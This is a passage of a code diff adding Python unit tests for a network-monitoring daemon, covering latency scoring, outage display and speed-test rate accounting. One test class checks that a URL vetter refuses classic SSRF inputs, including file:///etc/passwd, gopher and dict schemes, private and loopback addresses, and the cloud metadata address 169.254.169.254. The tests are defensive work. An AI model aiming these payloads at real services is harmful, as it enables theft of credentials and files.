self.assertAlmostEqual(fibre - 19.5, 10.0, places=1) # 10 ms, as before + self.assertAlmostEqual(sat - 645.0, 90.0, places=1) # 90 ms, scaled + + def test_loss_cost_never_drops_below_the_rto_floor(self): + self.assertEqual(score.loss_cost_ms(0.0), + score.LOSS_STALL_FACTOR * score.LOSS_RTO_FLOOR_MS) + + def test_reliability_charges_outages_harder_than_self_healed_blips(self): + # The inversion this replaced: three brief disruptions used to cost + # 18 points while a ten-minute outage cost 0.7, so the milder event + # was punished twenty-six times harder. + day = 24 * 3600 + outage = score.reliability(600 / day, 0) + blips = score.reliability(0.0, 3, disruption_fraction=45 / day) + self.assertLess(outage, blips, + "ten minutes fully down must cost more than three " + "short self-healed blips") + + def test_reliability_scales_with_downtime(self): + day = 24 * 3600 + self.assertGreater(score.reliability(600 / day, 0), + score.reliability(3600 / day, 0)) + self.assertGreater(score.reliability(3600 / day, 0), + score.reliability(6 * 3600 / day, 0)) + + def test_a_bad_evening_of_blips_cannot_zero_reliability(self): + # Seventeen disruptions used to land on exactly 0.0. + day = 24 * 3600 + rel = score.reliability(0.0, 17, disruption_fraction=17 * 30 / day) + self.assertGreater(rel, 90.0) # not a catastrophe + self.assertLess(rel, 100.0) # but not free either + + def test_repeated_blips_still_cost_more_than_one(self): + day = 24 * 3600 + one = score.reliability(0.0, 1, disruption_fraction=300 / day) + many = score.reliability(0.0, 10, disruption_fraction=300 / day) + self.assertLess(many, one) + + def test_total_downtime_floors_at_zero(self): + self.assertEqual(score.reliability(1.0, 0), 0.0) + + def test_uncovered_window_is_not_punished(self): + self.assertEqual(score.reliability(0.0, 5, covered=False), 100.0) + + def test_wan_subtraction_monotone(self): + w = score.wan_from( + {"count": 60, "loss": 0.0, "p50": 11.5, "p75": 15.5, "p95": 22.5, + "max": 25.2, "jitter": 4.9, "last": 8.0}, + {"count": 60, "loss": 0.0, "p50": 8.6, "p75": 9.8, "p95": 19.8, + "max": 21.2, "jitter": 4.2, "last": 7.8}) + self.assertLessEqual(w["p50"], w["p75"]) + self.assertLessEqual(w["p75"], w["p95"]) + self.assertLessEqual(w["p95"], w["max"]) + + def test_wan_loss_never_negative(self): + w = score.wan_from({"count": 10, "loss": 0.0, "p50": 5.0}, + {"count": 10, "loss": 0.1, "p50": 2.0}) + self.assertEqual(w["loss"], 0.0) + + def test_speed_prefers_download(self): + # Full download, empty upload should still score well above 50. + self.assertGreater(score.speed(450, 0.1, 450, 50), 70) + + def test_speed_absolute_needs_no_config(self): + # The default basis scores without a plan and saturates sensibly. + self.assertIsNotNone(score.speed(230, 100)) + self.assertGreater(score.speed(230, 100), 90) + self.assertLess(score.speed(10, 2), 40) + # Past the perception ceiling extra speed barely moves the score. + self.assertLess(score.speed(900, 200) - score.speed(500, 100), 3) + + def test_degradation_penalty_only_on_big_drops(self): + # Ordinary shared-line variance is free; a real drop is not. + self.assertEqual(score.degradation_penalty(200, 300), 0.0) + self.assertGreater(score.degradation_penalty(60, 300), 15) + # No baseline, no penalty — cold start stays honest. + self.assertEqual(score.degradation_penalty(60, None), 0.0) + + def test_plan_overrides_absolute(self): + # A configured plan switches the basis entirely. + with_plan = score.speed(412, 48, 450, 50) + without = score.speed(412, 48) + self.assertNotEqual(with_plan, without) + + +class SpeedScoring(unittest.TestCase): + """Daemon.speed_score against a real store, no probes started.""" + + def setUp(self): + import os as _os + from nexthopd.daemon import Daemon + self.dir = tempfile.TemporaryDirectory() + _os.environ["XDG_STATE_HOME"] = self.dir.name + self.daemon = Daemon() + self._os = _os + + def tearDown(self): + self.daemon.store.close() + del self._os.environ["XDG_STATE_HOME"] + self.dir.cleanup() + + def put(self, ago_s, down, up, network): + self.daemon.store.put_test(int(time.time() - ago_s), "content", + "cloudflare", down_mbps=down, up_mbps=up, + ok=True, network=network) + + def test_other_networks_checks_do_not_score_here(self): + self.put(600, 300, 100, "OfficeA") + spd, ctx = self.daemon.speed_score(time.time(), "OfficeB") + self.assertIsNone(spd) + self.assertTrue(ctx.get("pending")) + + def test_median_shrugs_off_one_bad_check(self): + self.put(7200, 220, 90, "OfficeA") + self.put(3600, 240, 95, "OfficeA") + self.put(600, 18, 5, "OfficeA") # the mid-roam outlier + spd, ctx = self.daemon.speed_score(time.time(), "OfficeA") + self.assertEqual(ctx["last_down"], 220) # median, not the outlier + self.assertGreater(spd, 85) + + def test_no_cross_network_penalty(self): + # A fast history elsewhere must not depress a slower network. + for i in range(6): + self.put(3600 * (i + 2), 300, 100, "FastOffice") + self.put(600, 30, 10, "SlowCafe") + spd, ctx = self.daemon.speed_score(time.time(), "SlowCafe") + self.assertIsNone(ctx["baseline_down"]) + # Pure absolute curve for 30/10: mid-50s to 60 — no minus-35 cliff. + self.assertGreater(spd, 50) + + +class UnknownWanLeg(unittest.TestCase): + def test_missing_local_yields_unknown_not_the_whole_round_trip(self): + total = {"count": 500, "p50": 3.5, "p75": 4.0, "p95": 18.0, + "max": 26.0, "loss": 0.0, "jitter": 4.8, "last": 3.5} + gone = {"count": 0, "p50": None, "p75": None, "p95": None, + "max": None, "loss": 1.0, "jitter": None, "last": None} + w = score.wan_from(total, gone) + # Substituting zero used to make the derived leg equal the total, so + # a silent gateway produced a confident healthy internet figure that + # was really the whole round trip wearing the wan leg's label. + for key in ("p50", "p75", "p95", "max"): + self.assertIsNone(w[key], key) + + def test_known_local_still_subtracts(self): + total = {"count": 500, "p50": 10.0, "p75": 12.0, "p95": 20.0, + "max": 30.0, "loss": 0.0, "jitter": 1.0, "last": 10.0} + local = {"count": 500, "p50": 2.0, "p75": 2.5, "p95": 5.0, + "max": 8.0, "loss": 0.0, "jitter": 0.4, "last": 2.0} + w = score.wan_from(total, local) + self.assertEqual(w["p50"], 8.0) + self.assertGreaterEqual(w["p95"], w["p50"]) + + +class LagBand(unittest.TestCase): + def test_one_scale_so_the_range_cannot_read_backwards(self): + # The reported case: "best 4 · typical 644 ms · worst 26" — two raw + # round trips either side of a loss-charged composite. + lossy = {"count": 500, "p50": 3.5, "p75": 4.0, "p95": 18.0, + "max": 26.0, "loss": 1.0, "jitter": 4.8} + b = score.lag_band(lossy) + self.assertLessEqual(b["best"], b["typical"]) + self.assertLessEqual(b["typical"], b["worst"]) + # Loss moves all three together, which is what a range implies. + self.assertGreater(b["best"], 1000) + + def test_monotonic_across_loss_levels_and_degenerate_windows(self): + base = {"count": 500, "p50": 5.0, "p75": 5.0, "p95": 5.0, + "max": 5.0, "jitter": 0.0} + for loss in (0.0, 0.01, 0.35, 1.0): + b = score.lag_band(dict(base, loss=loss)) + vals = [b["best"], b["typical"], b["worst"]] + self.assertEqual(vals, sorted(vals), loss) + + def test_no_samples_reports_nothing(self): + b = score.lag_band({"count": 0}) + self.assertEqual(b, {"best": None, "typical": None, "worst": None}) + + +class OutagePresentation(unittest.TestCase): + """What the panel may say when nothing is replying.""" + + DEAD = {"count": 60, "p50": None, "p75": None, "p95": None, + "max": None, "loss": 1.0, "jitter": None} + + def test_scoring_keeps_its_anchor(self): + # Responsiveness must still land on zero, which is what 1500 is for. + self.assertEqual(score.lag_ms(self.DEAD), 1500.0) + self.assertEqual(score.responsiveness(score.lag_ms(self.DEAD)), 0.0) + + def test_display_band_shows_nothing_rather_than_the_anchor(self): + # 1500 is an anchor, not a round trip. The panel printed it three + # times as "best 1500 · typical 1500 ms · worst 1500", which says + # the link is replying slowly when it is not replying. + self.assertEqual(score.lag_band(self.DEAD), + {"best": None, "typical": None, "worst": None}) + + def test_partial_loss_still_reports_a_band(self): + lossy = {"count": 500, "p50": 5.0, "p75": 6.0, "p95": 20.0, + "max": 30.0, "loss": 0.4, "jitter": 1.0} + b = score.lag_band(lossy) + self.assertIsNotNone(b["typical"]) + self.assertLessEqual(b["best"], b["typical"]) + self.assertLessEqual(b["typical"], b["worst"]) + + +class DrainAfterLoad(unittest.TestCase): + """Depth is what everyone reports; duration is what you feel after the + download has finished.""" + + def test_measures_from_the_last_loaded_sample(self): + sm = [(1, 10, False), (2, 10, False), (3, 60, True), (4, 80, True), + (5, 70, True), (5.4, 40, False), (6.2, 12, False), + (7, 10, False)] + d = score.drain_after_load(sm, 10.0) + # Load ended at t=5; latency was back inside tolerance at t=6.2. + self.assertEqual(d["ms"], 1200.0) + self.assertTrue(d["settled"]) + + def test_tolerance_not_exactness(self): + # A queue does not empty to the exact millisecond it started from. + sm = [(1, 10, True), (2, 12.4, False)] + self.assertTrue(score.drain_after_load(sm, 10.0)["settled"]) + sm = [(1, 10, True), (2, 20.0, False)] + self.assertFalse(score.drain_after_load(sm, 10.0)["settled"]) + + def test_still_under_load_says_nothing(self): + sm = [(1, 10, False), (2, 80, True)] + self.assertIsNone(score.drain_after_load(sm, 10.0)["ms"]) + + def test_no_burst_says_nothing(self): + sm = [(1, 10, False), (2, 11, False)] + self.assertIsNone(score.drain_after_load(sm, 10.0)["ms"]) + + def test_unrecovered_reports_a_floor_not_a_recovery(self): + sm = [(1, 10, True), (2, 90, False), (3, 88, False), (4, 86, False)] + d = score.drain_after_load(sm, 10.0) + self.assertEqual(d["ms"], 3000.0) + self.assertFalse(d["settled"]) # never came back + + def test_beyond_the_cap_is_not_a_drain(self): + sm = [(0, 10, True), (score.DRAIN_MAX_S + 5, 10, False)] + self.assertIsNone(score.drain_after_load(sm, 10.0)["ms"]) + + def test_lost_probes_are_skipped_not_treated_as_recovery(self): + sm = [(1, 90, True), (2, None, False), (3, None, False), + (4, 11, False)] + d = score.drain_after_load(sm, 10.0) + self.assertEqual(d["ms"], 3000.0) + self.assertTrue(d["settled"]) + + def test_no_baseline_no_claim(self): + sm = [(1, 90, True), (2, 10, False)] + self.assertIsNone(score.drain_after_load(sm, None)["ms"]) + self.assertIsNone(score.drain_after_load(sm, 0)["ms"]) + + +class Pressure(unittest.TestCase): + """The fast channel the index cannot be.""" + + def test_bands(self): + self.assertEqual(score.pressure(socket_queue_ms=5.1)["state"], "clear") + self.assertEqual(score.pressure(socket_queue_ms=18.4)["state"], "busy") + self.assertEqual(score.pressure(socket_queue_ms=64.0)["state"], + "congested") + + def test_real_traffic_beats_an_inference_from_probes(self): + p = score.pressure(socket_queue_ms=3.0, loaded_ms=99.0, idle_ms=10.0) + self.assertEqual(p["source"], "sockets") + self.assertEqual(p["queue_ms"], 3.0) + + def test_probes_are_the_fallback(self): + p = score.pressure(loaded_ms=48.0, idle_ms=12.0) + self.assertEqual(p["source"], "probes") + self.assertEqual(p["queue_ms"], 36.0) + + def test_a_backwards_difference_is_withheld(self): + # Queueing cannot be negative; that means the split is unreliable, + # not that load made the link quicker. Same rule as the inflation + # plausibility floor. + self.assertIsNone(score.pressure(loaded_ms=10.0, idle_ms=12.0)["state"]) + + def test_nothing_to_say_is_a_valid_answer(self): + self.assertIsNone(score.pressure()["state"]) + self.assertIsNone(score.pressure(loaded_ms=50.0)["state"]) + + +class WrongDirectionSweep(unittest.TestCase): + """A result wrong in DIRECTION is not a result. + + Four instances turned up one at a time this session — the loaded/idle + ratio at 0.87, the 1500 ms scoring anchor printed as a latency, the + internet leg substituting zero for an unknown local leg, and a peak test + graded A+ for measuring lower latency under load than at rest. This + class pins the class rather than the instances, so a fifth cannot be + introduced quietly. + """ + + TOTAL = {"count": 500, "p50": 8.1, "p75": 10.4, "p95": 14.4, + "max": 26.0, "loss": 0.0, "jitter": 2.3, "last": 8.0} + + def test_a_slower_router_than_internet_withholds_the_isp_leg(self): + # Gateways commonly deprioritise ICMP addressed to themselves, so + # their own replies are slow while everything they forward is fast. + # That is a fact about the control plane, not the ISP's share. + slow_gateway = {"count": 500, "p50": 20.0, "p75": 25.0, "p95": 40.0, + "max": 60.0, "loss": 0.0, "jitter": 3.0, "last": 20.0} + w = score.wan_from(self.TOTAL, slow_gateway) + for key in ("p50", "p75", "p95", "max", "last"): + self.assertIsNone(w[key], key) + + def test_a_genuinely_near_zero_isp_leg_is_still_reported(self): + # An anchor a hop past the gateway really can cost almost nothing; + # withholding that would be its own kind of dishonesty. + near = dict(self.TOTAL, p50=8.4, p75=10.6, p95=14.6, max=26.2) + w = score.wan_from(self.TOTAL, near) + self.assertEqual(w["p50"], 0.0) + + def test_normal_subtraction_untouched(self): + local = {"count": 500, "p50": 2.1, "p75": 2.5, "p95": 5.0, + "max": 8.0, "loss": 0.0, "jitter": 0.4, "last": 2.0} + w = score.wan_from(self.TOTAL, local) + self.assertEqual(w["p50"], 6.0) + self.assertEqual(w["last"], 6.0) + + def test_loss_subtraction_stays_clamped_and_that_is_correct(self): + # Unlike latency, this one is legitimate: loss on the local link + # shows up in both probes, so if the internet probe lost nothing the + # wan leg genuinely lost nothing, however much the router probe lost. + lossy_local = dict(self.TOTAL, loss=0.3) + w = score.wan_from(dict(self.TOTAL, loss=0.0), lossy_local) + self.assertEqual(w["loss"], 0.0) + + def test_the_signed_difference_stays_signed(self): + # icmp_delta_ms is MEANT to go both ways: our own measurements show + # ICMP optimistic at the median and pessimistic in the tail, so a + # negative delta is a finding, not an error. Guarding it would + # destroy the comparison it exists for. + self.assertLess(score.lag_ms(dict(self.TOTAL, p75=4.0)), + score.lag_ms(dict(self.TOTAL, p75=40.0))) + + +class SpeedTrust(unittest.TestCase): + """Weakest-link means the lowest component is the headline, so the + thinnest input must not hold a veto over it.""" + + def test_one_sample_is_not_enough(self): + self.assertFalse(score.speed_scored(63.4, 1)) + self.assertTrue(score.speed_scored(63.4, 2)) + + def test_a_contradicting_peak_withdraws_the_figure(self): + # 251 Mbps measured by hand on the same line disproves 63. + self.assertFalse(score.speed_scored(63.4, 3, 251.4)) + # Within the same order of magnitude it stands: a saturating test + # reading somewhat higher than an everyday sample is normal. + self.assertTrue(score.speed_scored(200.0, 3, 251.4)) + + def test_nothing_measured_is_never_scored(self): + self.assertFalse(score.speed_scored(None, 9)) + + def test_the_index_leaves_an_untrusted_figure_out(self): + # The reported case: a healthy line read POOR because one check + # pinned the headline. + pinned = score.index(97.3, 97.0, 42.4) + honest = score.index(97.3, 97.0, None) + self.assertLess(pinned, 50) + self.assertGreater(honest, 90) + + +class HeadlineDuringAnOutage(unittest.TestCase): + """The index must not contradict the verdict printed beside it. + + Observed 2026-09-08 on a real 61 s Wi-Fi drop: EXPERIENCE 100 directly + beneath ROUTER UNREACHABLE, because Lag's 30 s window still held + pre-outage replies and 61 s against 24 h rounds Reliability to 100. + """ + + def test_a_confirmed_outage_withholds_the_headline(self): + for state in ("local-down", "wan-down"): + self.assertFalse(score.scored_now(state), state) + + def test_ordinary_states_keep_it(self): + for state in ("online", "degraded", "captive"): + self.assertTrue(score.scored_now(state), state) + + def test_a_quiet_spell_is_not_an_outage(self): + # gateway-quiet and icmp-quiet leave the state calm on purpose: + # traffic still crosses the leg, so the index still means something. + self.assertTrue(score.scored_now("online")) + + def test_the_components_that_produced_it_still_stand(self): + # Only the headline is withheld. Reliability really is 100 over the + # window, and its pillar says so in amber with the live downtime. + self.assertEqual(score.index(100.0, 100.0, None), 100) + self.assertFalse(score.scored_now("local-down")) + + def test_withholding_is_a_band_of_unknown_not_of_poor(self): + # A withheld index must not colour as a bad one. band(None) is the + # same "unknown" every other absent figure uses. + self.assertEqual(score.band(None), "unknown") + + +class WanPerPoint(unittest.TestCase): + """One pair of readings to one ISP-leg figure. + + Factored out of `wan_from` so the per-point series in recent.json and the + per-window statistics cannot drift: the rule that matters here is the one + that REFUSES to answer, and a second copy of it is a copy that can forget. + """ + + def test_it_subtracts_the_router_share(self): + self.assertEqual(score.wan_point_ms(11.13, 3.92), 7.21) + + def test_a_gateway_slower_than_the_internet_says_nothing(self): + # Plenty of routers deprioritise ICMP addressed to themselves, so the + # local leg reads slower than the total that crosses it. The + # subtraction has nothing to say about the line; a clamped zero would + # report a perfect ISP leg from an invalid measurement. + self.assertIsNone(score.wan_point_ms(5.0, 9.0)) + + def test_inside_the_tolerance_it_still_answers(self): + # A hair over is measurement noise, not an inversion. + self.assertEqual(score.wan_point_ms(5.0, 5.5), 0.0) + self.assertIsNone( + score.wan_point_ms(5.0, 5.0 + score.WAN_INVERSION_TOLERANCE_MS + 0.01)) + + def test_either_reading_missing_is_unknown_not_zero(self): + self.assertIsNone(score.wan_point_ms(5.0, None)) + self.assertIsNone(score.wan_point_ms(None, 2.0)) + self.assertIsNone(score.wan_point_ms(None, None)) + + def test_the_per_point_rule_refuses_exactly_when_wan_from_does(self): + """The two must never disagree about WHAT THEY REFUSE. + + Raised by the HopSense session 2026-09-12: their Go port is pinned to + `wan_from` by golden vectors, and a per-point refusal is a surface + those vectors do not cover. They cannot diverge today because + `wan_from` calls this helper — this pins that they still cannot after + someone inlines it back for speed. + """ + cases = [(10.0, 2.0), (10.0, 10.0), (10.0, 10.5), (10.0, 11.5), + (10.0, 30.0), (0.5, 0.4), (None, 2.0), (10.0, None), + (None, None), (0.0, 0.0)] + for total, local in cases: + point = score.wan_point_ms(total, local) + window = score.wan_from({"p50": total, "count": 9}, {"p50": local}) + self.assertEqual( + point is None, window["p50"] is None, + "disagreed on total=%s local=%s: point=%s window=%s" + % (total, local, point, window["p50"])) + + def test_wan_from_still_floors_each_statistic_at_the_last(self): + # The helper is unfloored by design; `wan_from` carries the floor + # forward FLOORED, which is what keeps a derived leg reading like a + # distribution. Extracting the arithmetic broke this once. + w = score.wan_from( + {"p50": 10.0, "p75": 12.0, "p95": 13.0, "max": 13.5, "count": 9}, + {"p50": 1.0, "p75": 1.0, "p95": 8.0, "max": 12.0}) + self.assertLessEqual(w["p50"], w["p75"]) + self.assertLessEqual(w["p75"], w["p95"]) + self.assertLessEqual(w["p95"], w["max"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_speedtest.py b/plugins/io.github.x3me.nexthop/test/test_speedtest.py new file mode 100644 index 0000000..bd0cdd4 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_speedtest.py @@ -0,0 +1,608 @@ +"""Tests for speedtest.py — target vetting, rate accounting, pass sizing, and +JSON we did not write. + +Run: python3 -m unittest discover -s test +""" + +import sys +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + + +class UntrustedTargets(unittest.TestCase): + """fast.com nominates its own download hosts, so that JSON decides + what this daemon connects to and is hostile input, not a server list. + + Literal addresses throughout, so nothing here touches DNS. + """ + + def setUp(self): + from nexthopd.speedtest import vet_target + self.vet = vet_target + + def test_plaintext_is_refused(self): + self.assertIsNone(self.vet("http://93.184.216.34/download")) + + def test_non_http_schemes_are_refused(self): + for url in ("file:///etc/passwd", "ftp://93.184.216.34/x", + "gopher://93.184.216.34/x", "scp://93.184.216.34/x", + "dict://93.184.216.34/x"): + self.assertIsNone(self.vet(url), url) + + def test_loopback_is_refused(self): + for url in ("https://127.0.0.1/x", "https://127.1.2.3/x", + "https://[::1]/x"): + self.assertIsNone(self.vet(url), url) + + def test_private_ranges_are_refused(self): + for url in ("https://192.168.1.1/x", "https://10.0.0.1/x", + "https://172.16.4.2/x", "https://[fd00::1]/x"): + self.assertIsNone(self.vet(url), url) + + def test_cloud_metadata_address_is_refused(self): + # The link-local address every SSRF write-up ends at. + self.assertIsNone(self.vet("https://169.254.169.254/latest/meta-data/")) + + def test_ipv4_mapped_private_address_is_refused(self): + # ::ffff:192.168.1.1 is a private address wearing an IPv6 coat. + self.assertIsNone(self.vet("https://[::ffff:192.168.1.1]/x")) + + def test_unspecified_and_broadcast_refused(self): + self.assertIsNone(self.vet("https://0.0.0.0/x")) + self.assertIsNone(self.vet("https://255.255.255.255/x")) + + def test_garbage_is_refused_without_raising(self): + for url in ("", "not a url", "https://", "https:///x", "https://:443/x"): + self.assertIsNone(self.vet(url), repr(url)) + + def test_public_https_is_accepted_and_pinned(self): + got = self.vet("https://8.8.8.8/download?size=25000000") + self.assertIsNotNone(got) + url, resolve = got + self.assertEqual(url, "https://8.8.8.8/download?size=25000000") + # The vetted address is pinned, so curl cannot resolve the name + # again and be handed a different one. + self.assertEqual(resolve, "8.8.8.8:443:8.8.8.8") + + def test_explicit_port_is_carried_into_the_pin(self): + got = self.vet("https://8.8.8.8:8443/x") + self.assertIsNotNone(got) + self.assertEqual(got[1], "8.8.8.8:8443:8.8.8.8") + + def test_a_bad_target_costs_one_candidate_not_the_test(self): + urls = ["http://93.184.216.34/a", "https://169.254.169.254/b", + "https://8.8.8.8/c"] + vetted = [v for v in (self.vet(u) for u in urls) if v] + self.assertEqual(len(vetted), 1) + self.assertEqual(vetted[0][0], "https://8.8.8.8/c") + + def test_curl_is_invoked_with_a_scheme_floor(self): + # Belt and braces beside the vetting: curl itself refuses + # anything but TLS, whatever it is handed. + import inspect + from nexthopd import speedtest + src = inspect.getsource(speedtest._curl) + self.assertIn('"--proto", "=https"', src) + + +class PeakSizing(unittest.TestCase): + """The sustained pass is sized from the estimate, floored and capped.""" + + def test_sized_for_ten_seconds_at_measured_rate(self): + from nexthopd import speedtest + # 160 Mbps line over 4 streams: each stream carries 40 Mbps. + n = speedtest._sized_pass(160.0 / speedtest.PEAK_STREAMS, + speedtest.PEAK_DOWN_FLOOR, + speedtest.CLOUDFLARE_DOWN_MAX) + self.assertEqual(n, 50_000_000) + self.assertAlmostEqual(speedtest._pass_seconds(40.0, n), 10.0) + + def test_slow_line_stays_small(self): + from nexthopd import speedtest + n = speedtest._sized_pass(10.0, speedtest.PEAK_DOWN_FLOOR, + speedtest.CLOUDFLARE_DOWN_MAX) + self.assertEqual(n, 12_500_000) + + def test_caps_bound_both_directions(self): + from nexthopd import speedtest + # __down 403s at 100 MB and above — the per-stream cap must stay under. + self.assertLess(speedtest.CLOUDFLARE_DOWN_MAX, 100_000_000) + self.assertEqual(speedtest._sized_pass(10_000.0, speedtest.PEAK_DOWN_FLOOR, + speedtest.CLOUDFLARE_DOWN_MAX), + speedtest.CLOUDFLARE_DOWN_MAX) + self.assertEqual(speedtest._sized_pass(0.1, speedtest.PEAK_UP_FLOOR, + speedtest.PEAK_UP_CAP), + speedtest.PEAK_UP_FLOOR) + + +class RemoteJsonShapes(unittest.TestCase): + """The peak engines parse JSON we did not write. A wrong shape is a + failed engine, never an exception escaping the worker thread.""" + + def test_fast_com_wrong_shapes_fail_closed(self): + from nexthopd import speedtest + + class R: + returncode = 0 + + orig = speedtest._curl + self.addCleanup(setattr, speedtest, "_curl", orig) + for body in ('[1, 2]', '{"targets": [1, 2]}', '{"targets": "x"}', + '{"targets": [{"url": 5}]}', 'null'): + r = R() + r.stdout = body + speedtest._curl = lambda args, timeout, r=r: r + self.assertIsNone(speedtest._peak_fast(), body) + + def test_ookla_wrong_shapes_fail_closed(self): + from nexthopd import speedtest + + class R: + returncode = 0 + + self.addCleanup(setattr, speedtest.subprocess, "run", + speedtest.subprocess.run) + self.addCleanup(setattr, speedtest.shutil, "which", + speedtest.shutil.which) + speedtest.shutil.which = lambda name: "/usr/bin/true" + for body in ('{"download": "x"}', '[1]', 'null', + '{"download": {"bandwidth": "fast"}, "upload": {"bandwidth": 1},' + ' "ping": {"latency": 1}, "server": {}}'): + r = R() + r.stdout = body + speedtest.subprocess.run = lambda *a, r=r, **k: r + self.assertIsNone(speedtest._peak_ookla(), body) + + +class PayloadTimedRate(unittest.TestCase): + """What the rate is divided by. + + curl's own speed_download divides the bytes by the WHOLE request, setup + included. That biases every reading low by a share that grows with the + line rate, because the setup cost is fixed while the useful part of the + transfer keeps getting shorter — so the faster the connection, the worse + it reads. A user with an 893 Mbps line saw ~220 (issue #2), and the check + could not report above ~480 on a scale whose top anchors are 500 and 750. + + The property worth pinning is not any one number: it is that the error no + longer depends on the line. + """ + + def rate(self, size, setup_s, payload_s): + from nexthopd import speedtest + return speedtest._rate_over_payload(size, setup_s + payload_s, setup_s) + + def test_setup_time_is_not_counted_as_transfer(self): + # 1.5 MB (12 Mbit) carried in 100 ms, after 90 ms of connect and TLS. + self.assertAlmostEqual(self.rate(1_500_000, 0.09, 0.10), 120.0, places=6) + + def test_the_error_no_longer_grows_with_the_line(self): + # The check's own shape: 3 MB per stream over four streams, one fixed + # 90 ms of setup, three very different lines. Timed over the payload + # each comes back as itself; timed over the whole request the gigabit + # one would read barely half its rate. + for line_mbps in (50.0, 400.0, 1000.0): + per_stream = line_mbps / 4 + payload = (3_000_000 * 8 / 1e6) / per_stream + got = self.rate(3_000_000, 0.09, payload) * 4 + self.assertAlmostEqual(got / line_mbps, 1.0, places=6, + msg="%s Mbps read as %s" % (line_mbps, got)) + + def test_the_shipping_sizing_can_time_a_gigabit_line(self): + # 3 MB over four streams is 96 ms of payload per stream at 1 Gbps — + # above the floor, so the figure stands. It stops being timeable a + # little under 2 Gbps, and is then withheld rather than guessed at. + from nexthopd import speedtest + per_stream_at_1g = (3_000_000 * 8 / 1e6) / (1000.0 / 4) + self.assertGreater(per_stream_at_1g, speedtest.MIN_TIMED_WINDOW_S) + per_stream_at_2g = (3_000_000 * 8 / 1e6) / (2000.0 / 4) + self.assertLess(per_stream_at_2g, speedtest.MIN_TIMED_WINDOW_S) + + def test_a_window_too_short_to_time_is_withheld(self): + # 3 MB at 2 Gbps is 12 ms of payload. Dividing by a window that small + # publishes the timing error, not the line — and in the flattering + # direction. Withhold instead, the way every other figure here does. + self.assertIsNone(self.rate(3_000_000, 0.09, 0.012)) + + def test_the_floor_is_the_window_not_the_total(self): + # A long setup does not make a short payload measurable. + self.assertIsNone(self.rate(3_000_000, 5.0, 0.01)) + self.assertIsNotNone(self.rate(3_000_000, 0.0, 0.20)) + + def test_nothing_transferred_is_not_a_rate(self): + self.assertIsNone(self.rate(0, 0.09, 1.0)) + + def test_an_impossible_window_is_withheld_not_negated(self): + from nexthopd import speedtest + self.assertIsNone(speedtest._rate_over_payload(1_000_000, 0.05, 0.20)) + + +class RateAccountingContract(unittest.TestCase): + """The curl invocations have to keep asking for the fields we divide by.""" + + def source(self, fn): + import inspect + return inspect.getsource(fn) + + def test_downloads_are_timed_from_the_first_byte(self): + from nexthopd import speedtest + for fn in (speedtest._curl_timed_download, speedtest._parallel_download): + src = self.source(fn) + self.assertIn("%{time_starttransfer}", src) + self.assertNotIn("%{speed_download}", src) + + def test_uploads_are_timed_from_the_handshake(self): + # Not time_starttransfer: on a POST that is the first byte of the + # RESPONSE, which arrives after the body has already gone. Measured + # against a local server: starttransfer landed part way through a + # 2 MB body, so it cannot mark where the payload began. + from nexthopd import speedtest + src = self.source(speedtest._curl_timed_upload) + self.assertIn("%{time_appconnect}", src) + self.assertNotIn("%{speed_upload}", src) + + +class ParallelStreamAccounting(unittest.TestCase): + """Summing streams, when some of them cannot be timed.""" + + class FakeProc: + def __init__(self, out, rc=0): + self._out, self.returncode = out, rc + + def communicate(self, timeout=None): + return self._out, None + + def kill(self): + pass + + def wait(self): + pass + + def parallel(self, outputs): + from nexthopd import speedtest + queue = list(outputs) + real_popen = speedtest.subprocess.Popen + speedtest.subprocess.Popen = lambda *a, **k: self.FakeProc(queue.pop(0)) + try: + return speedtest._parallel_download("https://x/y", len(outputs), 5) + finally: + speedtest.subprocess.Popen = real_popen + + def test_overlapping_streams_are_the_bytes_over_the_time_they_took(self): + # Two streams, each 3 MB carried in the same 200 ms window: 6 MB in + # 0.2 s is 240 Mbps. Note this is NOT 120 + 120 by coincidence of + # them overlapping exactly — see the staggered case below. + out = "3000000 0.29 0.09" + mbps, size = self.parallel([out, out]) + self.assertAlmostEqual(mbps, 240.0, delta=1.0) + self.assertEqual(size, 6_000_000) + + def test_a_stream_that_outlives_the_others_does_not_double_the_line(self): + """The defect this replaced. + + Streams finish tens to hundreds of milliseconds apart, and one left + running alone measures the whole line. Summing that with what its + siblings measured while sharing counts the same wire twice. Here: one + stream carries 3 MB in 0.2 s, a second carries 3 MB in a 0.2 s window + that starts after the first has finished. Six MB crossed the wire in + 0.4 s, which is 120 Mbps. Summing would have said 240. + """ + mbps, size = self.parallel(["3000000 0.29 0.09", "3000000 0.49 0.29"]) + self.assertAlmostEqual(mbps, 120.0, delta=2.0) + self.assertEqual(size, 6_000_000) + + def test_a_gap_between_streams_is_not_billed_as_throughput(self): + # Union, not first-start-to-last-finish: nothing crossed the wire in + # the idle second between them, and it must not be charged as if the + # line were slow. + mbps, _ = self.parallel(["3000000 0.29 0.09", "3000000 1.49 1.29"]) + self.assertAlmostEqual(mbps, 120.0, delta=2.0) + + def test_every_stream_untimeable_reports_no_rate_not_zero(self): + # Zero is a claim about the line. None is the absence of one, and it + # is what the score treats as "no Speed component" rather than as a + # connection that carries nothing. + mbps, size = self.parallel(["3000000 0.101 0.09", "3000000 0.101 0.09"]) + self.assertIsNone(mbps) + self.assertEqual(size, 6_000_000) + + def test_bytes_are_counted_even_when_the_rate_is_withheld(self): + # The data budget was spent whether or not it produced a number. + _, size = self.parallel(["3000000 0.101 0.09", "3000000 0.29 0.09"]) + self.assertEqual(size, 6_000_000) + + +class ParallelUploadAccounting(unittest.TestCase): + """Upload was measured on one stream, in both the check and the peak. + + The download learned in 0.1.x that a single TCP stream reads its own + ceiling rather than the line's, and grew `_parallel_download` for it. The + upload never did. Measured against speed.cloudflare.com on a ~450 Mbps + line: the same 2 MB carried by four streams read 36% higher than by one. + """ + + class FakeProc: + def __init__(self, out, rc=0): + self._out, self.returncode, self.fed = out, rc, None + + def communicate(self, input=None, timeout=None): + self.fed = input + return self._out, None + + def kill(self): + pass + + def wait(self): + pass + + def parallel(self, outputs, per_stream=1_000_000): + from nexthopd import speedtest + queue = list(outputs) + made = [] + real = speedtest.subprocess.Popen + + def fake(*a, **k): + proc = self.FakeProc(queue.pop(0)) + made.append(proc) + return proc + + speedtest.subprocess.Popen = fake + try: + got = speedtest._parallel_upload("https://x/y", per_stream, + len(outputs), 5) + finally: + speedtest.subprocess.Popen = real + return got, made + + def 